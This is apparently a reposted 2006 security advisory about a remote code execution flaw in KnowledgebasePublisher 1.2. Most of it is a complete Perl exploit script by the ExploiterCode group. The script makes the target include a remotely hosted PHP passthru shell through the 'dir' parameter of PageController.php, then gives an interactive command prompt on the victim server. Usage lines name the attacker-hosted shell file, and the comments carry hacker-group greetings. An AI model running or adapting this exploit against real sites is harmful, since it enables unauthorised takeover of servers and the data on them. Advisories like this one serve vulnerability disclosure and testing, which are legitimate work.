[EXPL] KnowledgebasePublisher Command Execution (Exploit)

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KnowledgebasePublisher Command Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

<http://kbpublisher.sourceforge.net/> KnowledgebasePublisher is "a free
and Opensource knowledgebase / FAQ solution for your websites, or just
content manager about any other type of article that you want to publish
on your website. It's so easy to use that you can be managing
knowledgebase on your website right from your own web browser".

A command execution vulnerability has been discovered in
KnowledgebasePublisher that allows remote attackers to cause the program
to execute arbitrary code, the following exploit code can be used to test
your system for the mentioned vulnerability.

DETAILS

Exploit:
#!/usr/bin/perl
##
# KnowledgebasePublisher 1.2 Remote Code Execution Exploit
# Bug Found By uid0
##
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl knowledgebase.pl <location of KnowledgebasePublisher> <cmd shell
location <cmd shell variable>
#
# perl knowledgebase.pl http://site.com/knowledgebase/
http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, ***, cijfer ;P, ReZeN, wr0ck, and everyone
else!
#
# special shout to [ill]will! come back soon from jail!
##
# Contact: www.exploitercode.com irc.exploitercode.com
uid0@xxxxxxxxxxxxxxxxx
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'client/faq_1/PageController.php?dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ /;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or
No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
$finreturn = $1;
$finreturn=~ tr/[ /[\n]/;
print "\r\n$finreturn\n\r";
last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n======================================\r\n";
print " *KnowledgebasePublisher 1.2 Remote Code Execution Exploit by
ExploiterCode.com*\r\n";
print "======================================\r\n";
}
sub usage()
{
head();
print " Usage: knowledgebase.pl <Site> <cmd shell> <cmd variable>\r\n\n";
print " <Site> - Full path to KnowledgebasePublisher ex:
http://www.site.com/knowledge/ \r\n";
print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt
\r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print "======================================\r\n";
print " Bug Found by uid0\r\n";
print " www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
print "======================================\r\n";
exit();
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:uid0@xxxxxxxxxxxxxxxxx>
uid0.



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